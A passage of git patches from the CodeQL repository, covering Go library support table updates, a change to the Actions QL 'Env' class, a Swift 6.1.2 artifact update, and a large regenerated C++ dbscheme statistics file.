`beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213 + `bigquery `_,``cloud.google.com/go/bigquery*``,,,1 `chi `_,``github.com/go-chi/chi*``,3,, `cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1 `env `_,``github.com/caarlos0/env*``,5,2, @@ -53,7 +54,7 @@ Go framework & library support `goproxy `_,``github.com/elazarl/goproxy*``,2,2,2 `gorilla/mux `_,``github.com/gorilla/mux*``,1,, `gorilla/websocket `_,``github.com/gorilla/websocket*``,3,, - `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48 + `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72 `goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3 `htmlquery `_,``github.com/antchfx/htmlquery*``,,,4 `json-iterator `_,``github.com/json-iterator/go*``,,4, @@ -73,6 +74,5 @@ Go framework & library support `xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2 `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 - Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,688,1069,1556 + Totals,,688,1069,1557 From 338d3834c4beaaf04c3b62c10bf37867f287fbc4 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Thu, 5 Jun 2025 10:21:24 +0100 Subject: [PATCH 27/36] Actions: Make `Env` non-abstract `class Env` was previously abstract with no concrete descendants, so user queries like `any(Env e | ...)` would never produce results. In the JS library the corresponding class derived from `YamlNode` and has concrete descendants representing workflow-, job- and step-level `env` nodes. However these are dubiously useful since you can always just use `any(Step s).getEnv()` to achieve the same result. Since `EnvImpl` already fully characterises an `env` node, I simply make the class concrete. --- actions/ql/lib/codeql/actions/Ast.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288..ae19a7a7e8c 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl { string getNormalizedExpression() { result = normalizeExpr(expression) } } -/** A common class for `env` in workflow, job or step. */ -abstract class Env extends AstNode instanceof EnvImpl { +/** An `env` in workflow, job or step. */ +class Env extends AstNode instanceof EnvImpl { /** Gets an environment variable value given its name. */ ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) } From 3f89dd3c4e20a76f5feed7fdec2dd0ee52498ac4 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:16:18 +0200 Subject: [PATCH 28/36] Swift: Update to Swift 6.1.2 --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 5 +++++ swift/third_party/load.bzl | 4 ++++ 2 files changed, 9 insertions(+) create mode 100644 swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md new file mode 100644 index 00000000000..448b8210756 --- /dev/null +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -0,0 +1,5 @@ + +--- +category: minorAnalysis +--- +* Updated to allow analysis of Swift 6.1.2. diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index d19345a1880..a61e1ebd289 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,6 +5,10 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main + "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", + "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", + "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", + "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" From 5b5d85580899c8c2dee93144817461733f99b7d9 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:47:10 +0200 Subject: [PATCH 29/36] Swift: Remove empty line from change note --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 1 - 1 file changed, 1 deletion(-) diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md index 448b8210756..60adc9e1cfc 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -1,4 +1,3 @@ - --- category: minorAnalysis --- From 057d3ebfdf4ed1e900e9c8125e95294e1f0837a5 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 15:57:55 +0200 Subject: [PATCH 30/36] C++: Update stats file after changes to DCA source suite --- cpp/ql/lib/semmlecode.cpp.dbscheme.stats | 12279 ++++++++++----------- 1 file changed, 6072 insertions(+), 6207 deletions(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 201725ec5d1..bca58ed2f5b 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16209 + 16142 @externalDataElement @@ -18,63 +18,63 @@ @location_default - 31651328 + 36226754 @location_stmt - 5201796 + 5202209 @location_expr - 17955097 + 17956521 @diagnostic - 1590 + 1588 @file - 83605 + 83260 @folder - 15884 + 15818 @macro_expansion - 40282895 + 40121869 @other_macro_reference - 313754 + 312756 @function - 3352272 + 4015439 @fun_decl - 3384193 + 4154519 @var_decl - 6734162 + 9247204 @type_decl - 1889998 + 1882105 @namespace_decl - 425663 + 430914 @using_declaration - 333109 + 341862 @using_directive - 8151 + 8125 @using_enum_declaration @@ -82,323 +82,323 @@ @static_assert - 183988 + 183493 @parameter - 4792289 + 6965639 @membervariable - 1441877 + 1489139 @globalvariable - 425545 + 466518 @localvariable - 735182 + 734804 @enumconstant - 330375 + 343781 @errortype - 134 + 125 @unknowntype - 134 + 125 @void - 134 + 125 @boolean - 134 + 125 @char - 134 + 125 @unsigned_char - 134 + 125 @signed_char - 134 + 125 @short - 134 + 125 @unsigned_short - 134 + 125 @signed_short - 134 + 125 @int - 134 + 125 @unsigned_int - 134 + 125 @signed_int - 134 + 125 @long - 134 + 125 @unsigned_long - 134 + 125 @signed_long - 134 + 125 @long_long - 134 + 125 @unsigned_long_long - 134 + 125 @signed_long_long - 134 + 125 @float - 134 + 125 @double - 134 + 125 @long_double - 134 + 125 @complex_float - 134 + 125 @complex_double - 134 + 125 @complex_long_double - 134 + 125 @imaginary_float - 134 + 125 @imaginary_double - 134 + 125 @imaginary_long_double - 134 + 125 @wchar_t - 134 + 125 @decltype_nullptr - 134 + 125 @int128 - 134 + 125 @unsigned_int128 - 134 + 125 @signed_int128 - 134 + 125 @float128 - 134 + 125 @complex_float128 - 134 + 125 @decimal32 - 134 + 125 @decimal64 - 134 + 125 @decimal128 - 134 + 125 @char16_t - 134 + 125 @char32_t - 134 + 125 @std_float32 - 134 + 125 @float32x - 134 + 125 @std_float64 - 134 + 125 @float64x - 134 + 125 @std_float128 - 134 + 125 @char8_t - 134 + 125 @float16 - 134 + 125 @complex_float16 - 134 + 125 @fp16 - 134 + 125 @std_bfloat16 - 134 + 125 @std_float16 - 134 + 125 @complex_std_float32 - 134 + 125 @complex_float32x - 134 + 125 @complex_std_float64 - 134 + 125 @complex_float64x - 134 + 125 @complex_std_float128 - 134 + 125 @pointer - 472813 + 470652 @type_with_specifiers - 725904 + 696526 @array - 95666 + 98431 @routineptr - 861504 + 858764 @reference - 1024877 + 970559 @gnu_vector - 866 + 863 @routinereference - 471 + 470 @rvalue_reference - 292111 + 291793 @block 10 - @type_operator - 8530 + @decltype + 102057 - @decltype - 102046 + @type_operator + 8519 @usertype - 4985429 + 4962767 @mangledname - 5807372 + 6329773 @type_mention - 5508026 + 5812069 @concept_template - 3873 + 3868 @routinetype - 761024 + 758603 @ptrtomember - 12079 + 12029 @specifier - 8342 + 7754 @gnuattribute @@ -406,11 +406,11 @@ @stdattribute - 346335 + 350577 @declspec - 326934 + 328789 @msattribute @@ -418,19 +418,19 @@ @alignas - 2194 + 2192 @attribute_arg_token - 21022 + 20955 @attribute_arg_constant_expr - 89401 + 88857 @attribute_arg_expr - 1801 + 1793 @attribute_arg_empty @@ -446,35 +446,35 @@ @derivation - 599063 + 597157 @frienddecl - 881497 + 879292 @comment - 11290475 + 11233849 @namespace - 11090 + 11044 @specialnamequalifyingelement - 134 + 125 @namequalifier - 3257060 + 3254040 @value - 13198553 + 13436143 @initialiser - 2336741 + 2338659 @address_of @@ -482,131 +482,131 @@ @indirect - 402982 + 403000 @array_to_pointer - 1948138 + 1948290 @parexpr - 4901077 + 4901469 @arithnegexpr - 584849 + 584894 @unaryplusexpr - 4124 + 4122 @complementexpr - 38088 + 38090 @notexpr - 357988 + 357805 @postincrexpr - 84819 + 84356 @postdecrexpr - 57229 + 57234 @preincrexpr - 96430 + 96438 @predecrexpr - 35715 + 35718 @conditionalexpr - 895300 + 895370 @addexpr - 569732 + 569921 @subexpr - 465458 + 465494 @mulexpr - 434352 + 434549 @divexpr - 60327 + 60159 @remexpr - 19864 + 20100 @paddexpr - 118322 + 118331 @psubexpr - 68216 + 67843 @pdiffexpr - 46016 + 43900 @lshiftexpr - 550128 + 550121 @rshiftexpr - 199984 + 199982 @andexpr - 479850 + 479844 @orexpr - 193504 + 193501 @xorexpr - 74060 + 73764 @eqexpr - 641484 + 641535 @neexpr - 410687 + 410719 @gtexpr - 110823 + 110832 @ltexpr - 139020 + 139031 @geexpr - 80996 + 81151 @leexpr - 291182 + 291203 @assignexpr - 1277386 + 1277487 @assignaddexpr @@ -614,23 +614,23 @@ @assignsubexpr - 15262 + 15263 @assignmulexpr - 14123 + 14065 @assigndivexpr - 6827 + 6789 @assignremexpr - 941 + 875 @assignlshiftexpr - 3713 + 3693 @assignrshiftexpr @@ -642,15 +642,15 @@ @assignorexpr - 19572 + 19550 @assignxorexpr - 29822 + 29824 @assignpaddexpr - 18573 + 18574 @assignpsubexpr @@ -658,27 +658,27 @@ @andlogicalexpr - 345572 + 345599 @orlogicalexpr - 1101612 + 1100373 @commaexpr - 167785 + 169097 @subscriptexpr - 433866 + 433900 @callexpr - 301955 + 300995 @vastartexpr - 5108 + 5084 @vaargexpr @@ -686,7 +686,7 @@ @vaendexpr - 2949 + 2933 @vacopyexpr @@ -694,39 +694,39 @@ @varaccess - 8230416 + 8231069 @runtime_sizeof - 400615 + 400899 @runtime_alignof - 61395 + 62611 @expr_stmt - 147937 + 147941 @routineexpr - 6142593 + 6134772 @type_operand - 1402930 + 1401351 @offsetofexpr - 148600 + 148598 @typescompexpr - 700718 + 699930 @literal - 6101426 + 6101485 @aggregateliteral @@ -734,31 +734,31 @@ @c_style_cast - 6024780 + 6025595 @temp_init - 1076374 + 1075277 @errorexpr - 57533 + 57350 @reference_to - 2191473 + 2184503 @ref_indirect - 2653759 + 2645319 @vacuous_destructor_call - 9867 + 9836 @assume - 4414 + 4394 @conjugation @@ -810,35 +810,35 @@ @thisaccess - 1525406 + 1518451 @new_expr - 58177 + 57992 @delete_expr - 14458 + 14412 @throw_expr - 26147 + 26141 @condition_decl - 438155 + 437622 @braced_init_list - 2334 + 2331 @type_id - 60322 + 60130 @sizeof_pack - 2188 + 2181 @hasassignexpr @@ -882,7 +882,7 @@ @isabstractexpr - 8 + 74 @isbaseofexpr @@ -890,23 +890,23 @@ @isclassexpr - 2532 + 2538 @isconvtoexpr - 269 + 250 @isemptyexpr - 1480 + 8880 @isenumexpr - 672 + 2376 @ispodexpr - 677 + 1065 @ispolyexpr @@ -922,83 +922,83 @@ @hastrivialdestructor - 557 + 555 @uuidof - 27728 + 28057 @delete_array_expr - 1597 + 1591 @new_array_expr - 6964 + 6932 @foldexpr - 1372 + 1368 @ctordirectinit - 142053 + 141602 @ctorvirtualinit - 5062 + 5046 @ctorfieldinit - 259009 + 258185 @ctordelegatinginit - 3767 + 3627 @dtordirectdestruct - 49639 + 49481 @dtorvirtualdestruct - 5019 + 5003 @dtorfielddestruct - 50154 + 49994 @static_cast - 335397 + 389474 @reinterpret_cast - 43190 + 41835 @const_cast - 47227 + 30706 @dynamic_cast - 1015 + 1011 @lambdaexpr - 17804 + 17748 @param_ref - 177909 + 177835 @noopexpr - 52 + 51 @istriviallyconstructibleexpr - 1749 + 2376 @isdestructibleexpr @@ -1010,19 +1010,19 @@ @istriviallydestructibleexpr - 1076 + 1000 @istriviallyassignableexpr - 3 + 2376 @isnothrowassignableexpr - 5382 + 5127 @istrivialexpr - 829 + 1375 @isstandardlayoutexpr @@ -1030,7 +1030,7 @@ @istriviallycopyableexpr - 2152 + 598 @isliteraltypeexpr @@ -1050,11 +1050,11 @@ @isconstructibleexpr - 691 + 3627 @isnothrowconstructibleexpr - 18568 + 20761 @hasfinalizerexpr @@ -1090,11 +1090,11 @@ @isfinalexpr - 1716 + 11803 @noexceptexpr - 30758 + 30854 @builtinshufflevector @@ -1102,11 +1102,11 @@ @builtinchooseexpr - 20636 + 20642 @builtinaddressof - 16818 + 16294 @vec_fill @@ -1122,7 +1122,7 @@ @spaceshipexpr - 1406 + 1404 @co_await @@ -1134,7 +1134,7 @@ @isassignable - 438 + 437 @isaggregate @@ -1146,11 +1146,11 @@ @builtinbitcast - 148 + 250 @builtinshuffle - 785 + 782 @blockassignexpr @@ -1158,7 +1158,7 @@ @issame - 4864 + 4858 @isfunction @@ -1266,7 +1266,7 @@ @reuseexpr - 907596 + 906491 @istriviallycopyassignable @@ -1366,95 +1366,95 @@ @requires_expr - 17682 + 17661 @nested_requirement - 737 + 736 @compound_requirement - 11734 + 11720 @concept_id - 96899 + 96781 @lambdacapture - 28786 + 28523 @stmt_expr - 2025654 + 2025815 @stmt_if - 987309 + 987388 @stmt_while - 39531 + 39534 @stmt_goto - 151145 + 151155 @stmt_label - 72493 + 72498 @stmt_return - 1513767 + 1508953 @stmt_block - 1897847 + 1846814 @stmt_end_test_while - 232977 + 232974 @stmt_for - 84141 + 84148 @stmt_switch_case - 895930 + 894840 @stmt_switch - 441314 + 440777 @stmt_asm - 64016 + 64015 @stmt_decl - 770583 + 768980 @stmt_empty - 460103 + 459543 @stmt_continue - 28042 + 28011 @stmt_break - 141003 + 140276 @stmt_try_block - 28960 + 28918 @stmt_microsoft_try - 225 + 224 @stmt_set_vla_size @@ -1466,19 +1466,19 @@ @stmt_assigned_goto - 12390 + 12391 @stmt_range_based_for - 7422 + 7398 @stmt_handler - 47453 + 47389 @stmt_constexpr_if - 72388 + 103934 @stmt_co_return @@ -1494,55 +1494,55 @@ @ppd_if - 511564 + 589589 @ppd_ifdef - 227257 + 213751 @ppd_ifndef - 154182 + 157794 @ppd_elif - 28098 + 27982 @ppd_else - 241116 + 236511 @ppd_endif - 846328 + 886636 @ppd_plain_include - 408414 + 406728 @ppd_define - 3130472 + 2749584 @ppd_undef - 93378 + 101058 @ppd_pragma - 405268 + 407234 @ppd_include_next - 214 + 213 @ppd_line - 19065 + 19055 @ppd_error - 134 + 125 @ppd_objc_import @@ -1566,7 +1566,7 @@ @link_target - 947 + 943 @xmldtd @@ -1596,11 +1596,11 @@ compilations - 16209 + 16142 id - 16209 + 16142 cwd @@ -1618,7 +1618,7 @@ 1 2 - 16209 + 16142 @@ -1644,19 +1644,19 @@ compilation_args - 1297703 + 1292348 id - 16209 + 16142 num - 1882 + 1874 arg - 37523 + 37368 @@ -1670,52 +1670,52 @@ 36 42 - 1286 + 1281 42 43 - 1408 + 1402 43 44 - 920 + 917 44 45 - 649 + 647 45 51 - 1218 + 1213 51 70 - 622 + 620 71 72 - 907 + 903 72 90 - 1151 + 1146 94 96 - 501 + 498 98 99 - 1719 + 1712 100 @@ -1725,22 +1725,22 @@ 103 104 - 2559 + 2548 104 119 - 1367 + 1362 120 138 - 1191 + 1186 139 140 - 582 + 579 @@ -1756,67 +1756,67 @@ 34 38 - 758 + 755 38 39 - 1922 + 1914 39 40 - 1259 + 1254 40 42 - 1394 + 1389 42 53 - 771 + 768 53 54 - 907 + 903 54 63 - 1151 + 1146 64 67 - 514 + 512 67 68 - 1801 + 1793 68 70 - 1245 + 1240 70 71 - 1801 + 1793 73 79 - 1218 + 1213 79 89 - 1448 + 1442 89 @@ -1837,7 +1837,7 @@ 43 90 - 81 + 80 90 @@ -1847,7 +1847,7 @@ 108 183 - 135 + 134 198 @@ -1857,12 +1857,12 @@ 422 595 - 162 + 161 595 605 - 162 + 161 605 @@ -1882,12 +1882,12 @@ 930 1190 - 108 + 107 1197 1198 - 487 + 485 @@ -1903,7 +1903,7 @@ 1 5 - 162 + 161 5 @@ -1933,12 +1933,12 @@ 22 27 - 162 + 161 27 29 - 108 + 107 29 @@ -1948,7 +1948,7 @@ 34 44 - 162 + 161 45 @@ -1968,7 +1968,7 @@ 171 199 - 27 + 26 @@ -1984,22 +1984,22 @@ 1 2 - 17184 + 17113 2 3 - 16263 + 16196 3 103 - 2816 + 2805 104 1198 - 1259 + 1254 @@ -2015,17 +2015,17 @@ 1 2 - 24848 + 24746 2 3 - 11185 + 11139 3 62 - 1489 + 1483 @@ -2035,11 +2035,11 @@ compilation_build_mode - 16209 + 16142 id - 16209 + 16142 mode @@ -2057,7 +2057,7 @@ 1 2 - 16209 + 16142 @@ -2083,11 +2083,11 @@ compilation_compiling_files - 16209 + 16142 id - 16209 + 16142 num @@ -2095,7 +2095,7 @@ file - 7420 + 7390 @@ -2109,7 +2109,7 @@ 1 2 - 16209 + 16142 @@ -2125,7 +2125,7 @@ 1 2 - 16209 + 16142 @@ -2173,17 +2173,17 @@ 1 2 - 176 + 175 2 3 - 7217 + 7187 28 91 - 27 + 26 @@ -2199,7 +2199,7 @@ 1 2 - 7420 + 7390 @@ -2209,11 +2209,11 @@ compilation_time - 64566 + 64299 id - 16141 + 16074 num @@ -2221,11 +2221,11 @@ kind - 54 + 53 seconds - 17604 + 17801 @@ -2239,7 +2239,7 @@ 1 2 - 16141 + 16074 @@ -2255,7 +2255,7 @@ 4 5 - 16141 + 16074 @@ -2271,17 +2271,17 @@ 2 3 - 189 + 107 3 4 - 8179 + 7821 4 5 - 7772 + 8145 @@ -2327,8 +2327,8 @@ 12 - 1300 - 1301 + 1320 + 1321 13 @@ -2345,7 +2345,7 @@ 1192 1193 - 54 + 53 @@ -2361,7 +2361,7 @@ 1 2 - 54 + 53 @@ -2380,18 +2380,18 @@ 13 - 11 - 12 + 12 + 13 13 - 716 - 717 + 718 + 719 13 - 775 - 776 + 792 + 793 13 @@ -2408,27 +2408,27 @@ 1 2 - 11293 + 11233 2 3 - 3493 + 3910 3 4 - 1340 + 1200 4 - 20 - 1327 + 24 + 1335 - 21 - 699 - 148 + 24 + 696 + 121 @@ -2444,7 +2444,7 @@ 1 2 - 17604 + 17801 @@ -2460,12 +2460,12 @@ 1 2 - 14760 + 14969 2 3 - 2830 + 2818 3 @@ -2480,15 +2480,15 @@ diagnostic_for - 4449 + 4444 diagnostic - 1590 + 1588 compilation - 1452 + 1450 file_number @@ -2510,7 +2510,7 @@ 1 2 - 1544 + 1542 63 @@ -2531,7 +2531,7 @@ 1 2 - 1590 + 1588 @@ -2547,7 +2547,7 @@ 1 2 - 1590 + 1588 @@ -2563,7 +2563,7 @@ 3 4 - 1406 + 1404 5 @@ -2584,7 +2584,7 @@ 1 2 - 1452 + 1450 @@ -2600,7 +2600,7 @@ 3 4 - 1406 + 1404 5 @@ -2726,19 +2726,19 @@ compilation_finished - 16209 + 16142 id - 16209 + 16142 cpu_seconds - 11821 + 12164 elapsed_seconds - 243 + 256 @@ -2752,7 +2752,7 @@ 1 2 - 16209 + 16142 @@ -2768,7 +2768,7 @@ 1 2 - 16209 + 16142 @@ -2784,17 +2784,17 @@ 1 2 - 9736 + 10168 2 3 - 1530 + 1402 3 - 36 - 555 + 24 + 593 @@ -2810,12 +2810,12 @@ 1 2 - 10968 + 11368 2 3 - 853 + 795 @@ -2836,11 +2836,21 @@ 2 3 - 27 + 26 - 5 - 6 + 3 + 4 + 13 + + + 4 + 5 + 13 + + + 6 + 7 13 @@ -2848,54 +2858,54 @@ 8 13 - - 8 - 9 - 13 - 9 10 13 - 11 - 12 + 10 + 11 13 - 19 - 20 - 27 - - - 23 - 24 + 15 + 16 13 - 42 - 43 + 18 + 19 13 - 136 - 137 + 32 + 33 13 - 269 - 270 + 48 + 49 13 - 314 - 315 + 157 + 158 13 - 328 - 329 + 249 + 250 + 13 + + + 309 + 310 + 13 + + + 323 + 324 13 @@ -2917,11 +2927,21 @@ 2 3 - 27 + 26 - 5 - 6 + 3 + 4 + 13 + + + 4 + 5 + 13 + + + 6 + 7 13 @@ -2935,48 +2955,48 @@ 13 - 9 - 10 + 10 + 11 13 - 11 - 12 + 15 + 16 13 - 19 - 20 - 27 - - - 23 - 24 + 18 + 19 13 - 40 - 41 + 32 + 33 13 - 127 - 128 + 48 + 49 13 - 156 - 157 + 147 + 148 13 - 240 - 241 + 170 + 171 13 - 265 - 266 + 222 + 223 + 13 + + + 264 + 265 13 @@ -3203,11 +3223,11 @@ sourceLocationPrefix - 134 + 125 prefix - 134 + 125 @@ -4701,15 +4721,15 @@ extractor_version - 134 + 125 codeql_version - 134 + 125 frontend_version - 134 + 125 @@ -4723,7 +4743,7 @@ 1 2 - 134 + 125 @@ -4739,7 +4759,7 @@ 1 2 - 134 + 125 @@ -4749,31 +4769,31 @@ locations_default - 31651328 + 36226754 id - 31651328 + 36226754 container - 41845 + 41023 startLine - 7709525 + 7495820 startColumn - 22470 + 21262 endLine - 7708852 + 7497821 endColumn - 56242 + 53530 @@ -4787,7 +4807,7 @@ 1 2 - 31651328 + 36226754 @@ -4803,7 +4823,7 @@ 1 2 - 31651328 + 36226754 @@ -4819,7 +4839,7 @@ 1 2 - 31651328 + 36226754 @@ -4835,7 +4855,7 @@ 1 2 - 31651328 + 36226754 @@ -4851,7 +4871,7 @@ 1 2 - 31651328 + 36226754 @@ -4866,68 +4886,68 @@ 1 - 16 - 3363 + 15 + 3126 - 17 - 37 - 3229 + 15 + 41 + 3126 - 39 - 58 - 3229 + 42 + 66 + 3376 - 61 - 84 - 3229 + 67 + 95 + 3126 - 84 + 98 124 - 3498 + 3251 - 126 - 166 - 3229 + 124 + 174 + 3376 - 173 + 175 228 - 3229 + 3126 - 228 - 299 - 3229 + 230 + 303 + 3126 - 299 - 393 - 3229 + 305 + 406 + 3126 - 393 - 567 - 3229 + 408 + 596 + 3251 - 568 - 820 - 3229 + 598 + 943 + 3126 - 897 - 2193 - 3229 + 986 + 2568 + 3251 - 2212 - 55160 - 2691 + 2725 + 57658 + 2626 @@ -4943,67 +4963,67 @@ 1 13 - 3632 + 3502 13 - 26 - 3229 + 29 + 3251 - 26 - 39 - 3229 + 29 + 42 + 3126 - 39 - 55 - 3229 + 42 + 58 + 3376 - 55 - 75 - 3363 + 58 + 76 + 3126 - 75 - 106 - 3229 + 77 + 102 + 3251 - 106 - 132 - 3363 + 102 + 134 + 3126 - 132 - 169 - 3229 + 134 + 173 + 3126 - 174 - 238 - 3229 + 173 + 242 + 3126 - 238 - 335 - 3229 + 243 + 348 + 3126 - 337 - 477 - 3229 + 348 + 489 + 3126 - 506 - 1226 - 3229 + 493 + 1269 + 3126 - 1251 - 55106 - 2421 + 1337 + 57597 + 2626 @@ -5019,72 +5039,67 @@ 1 4 - 2287 + 2251 4 - 6 - 2421 + 7 + 3126 - 6 - 9 - 3363 + 7 + 12 + 3502 - 9 - 14 - 2960 + 12 + 16 + 3126 - 14 - 19 - 3229 + 16 + 22 + 3376 - 19 - 24 - 3229 + 22 + 28 + 3126 - 24 - 30 - 3767 + 28 + 33 + 3251 - 30 - 36 - 3229 + 33 + 39 + 3376 - 36 - 42 - 3229 + 39 + 48 + 3376 - 42 - 53 - 3229 + 48 + 60 + 3376 - 55 - 72 - 3363 + 60 + 82 + 3376 - 72 - 89 - 3632 + 83 + 98 + 3251 - 89 - 108 - 3229 - - - 109 + 98 141 - 672 + 2501 @@ -5100,67 +5115,67 @@ 1 13 - 3632 + 3502 13 - 26 - 3229 + 29 + 3251 - 27 - 39 - 3229 + 29 + 42 + 3126 - 39 - 55 - 3229 + 42 + 58 + 3376 - 55 - 75 - 3363 + 58 + 76 + 3126 - 75 - 106 - 3229 + 77 + 102 + 3251 - 106 - 132 - 3363 + 102 + 134 + 3126 - 132 - 169 - 3229 + 134 + 173 + 3251 174 - 238 - 3229 + 244 + 3126 - 238 - 336 - 3229 + 246 + 348 + 3126 - 337 - 477 - 3229 + 348 + 494 + 3126 - 505 - 1228 - 3229 + 513 + 1349 + 3126 - 1250 - 55106 - 2421 + 1407 + 57597 + 2501 @@ -5176,67 +5191,67 @@ 1 12 - 3498 + 3376 13 - 21 - 3229 + 24 + 3251 - 21 - 30 - 3229 + 25 + 33 + 3251 - 30 - 37 - 3632 + 33 + 39 + 3376 - 37 - 44 - 3632 + 39 + 45 + 3627 - 44 - 53 - 3229 + 45 + 54 + 3126 - 53 - 61 - 3229 + 54 + 62 + 3627 - 61 - 69 - 3632 + 62 + 71 + 3376 - 69 - 82 - 3363 + 71 + 83 + 3502 - 82 - 96 - 3229 + 83 + 99 + 3126 - 96 - 110 - 3229 + 99 + 114 + 3126 - 110 - 129 - 3229 + 114 + 136 + 3126 - 129 - 314 - 1480 + 147 + 363 + 1125 @@ -5252,27 +5267,32 @@ 1 2 - 5187224 + 4960358 2 3 - 787663 + 800711 3 4 - 633871 + 566326 4 - 10 - 618398 + 12 + 593091 - 10 - 414 - 482366 + 12 + 210 + 562324 + + + 210 + 534 + 13007 @@ -5288,27 +5308,27 @@ 1 2 - 5247772 + 5018642 2 3 - 1198852 + 1234586 3 - 5 - 636024 + 6 + 664132 - 5 - 54 - 579781 + 6 + 106 + 562324 - 54 - 312 - 47092 + 107 + 329 + 16134 @@ -5324,471 +5344,91 @@ 1 2 - 5929679 + 5655509 2 3 - 579512 + 532682 3 - 5 - 581396 - - - 5 - 42 - 579512 - - - 42 - 71 - 39423 - - - - - - - startLine - endLine - - - 12 - - - 1 - 2 - 7558827 - - - 2 - 82 - 150697 - - - - - - - startLine - endColumn - - - 12 - - - 1 - 2 - 5256249 - - - 2 - 3 - 764386 - - - 3 - 4 - 627009 - - - 4 - 10 - 600637 - - - 10 - 225 - 461242 - - - - - - - startColumn - id - - - 12 - - - 1 - 2 - 2018 - - - 2 - 4 - 1883 - - - 4 - 8 - 1749 - - - 8 - 29 - 1883 - - - 30 - 76 - 1749 - - - 84 - 160 - 1749 - - - 173 - 312 - 1749 - - - 336 - 498 - 1749 - - - 507 - 876 - 1749 - - - 898 - 1155 - 1749 - - - 1158 - 1462 - 1749 - - - 1480 - 3513 - 1749 - - - 3514 - 112668 - 941 - - - - - - - startColumn - container - - - 12 - - - 1 - 2 - 2152 - - - 2 - 3 - 1210 - - - 3 - 5 - 2018 - - - 5 - 11 - 1883 - - - 12 - 28 - 1883 - - - 29 - 50 - 1883 - - - 50 - 72 - 1749 - - - 72 - 91 - 1749 - - - 91 - 127 - 1749 - - - 127 - 137 - 1749 - - - 140 - 151 - 1883 - - - 152 - 178 - 1749 - - - 186 - 312 - 807 - - - - - - - startColumn - startLine - - - 12 - - - 1 - 2 - 2152 - - - 2 - 4 - 1883 - - - 4 - 8 - 1749 - - - 8 - 29 - 1883 - - - 30 - 76 - 1749 - - - 83 - 155 - 1749 - - - 167 - 317 - 1749 - - - 317 - 454 - 1749 - - - 472 - 691 - 1749 - - - 695 - 895 - 1749 - - - 899 - 1091 - 1749 - - - 1098 - 2294 - 1749 - - - 2525 - 56792 - 807 - - - - - - - startColumn - endLine - - - 12 - - - 1 - 2 - 2152 - - - 2 - 4 - 1883 - - - 4 - 8 - 1749 - - - 8 - 29 - 1883 - - - 30 - 76 - 1749 - - - 83 - 155 - 1749 - - - 167 - 317 - 1749 - - - 317 - 454 - 1749 - - - 472 - 691 - 1749 - - - 695 - 900 - 1749 - - - 900 - 1091 - 1749 - - - 1098 - 2293 - 1749 - - - 2521 - 56782 - 807 - - - - - - - startColumn - endColumn - - - 12 - - - 1 - 2 - 2287 - - - 2 - 4 - 2018 - - - 4 7 - 1749 + 579333 7 - 14 - 1749 + 24 + 571454 - 14 - 20 - 1749 - - - 21 - 30 - 1749 - - - 30 - 38 - 1749 - - - 38 - 50 - 1614 - - - 51 - 58 - 1749 - - - 58 - 65 - 1883 - - - 65 - 74 - 1749 - - - 74 - 138 - 1749 - - - 139 - 325 - 672 + 24 + 72 + 156840 - endLine + startLine + endLine + + + 12 + + + 1 + 2 + 7320969 + + + 2 + 81 + 174850 + + + + + + + startLine + endColumn + + + 12 + + + 1 + 2 + 5027272 + + + 2 + 3 + 767567 + + + 3 + 4 + 559822 + + + 4 + 12 + 604348 + + + 12 + 235 + 536809 + + + + + + + startColumn id @@ -5797,27 +5437,412 @@ 1 2 - 5183591 + 1500 2 - 3 - 792776 - - - 3 4 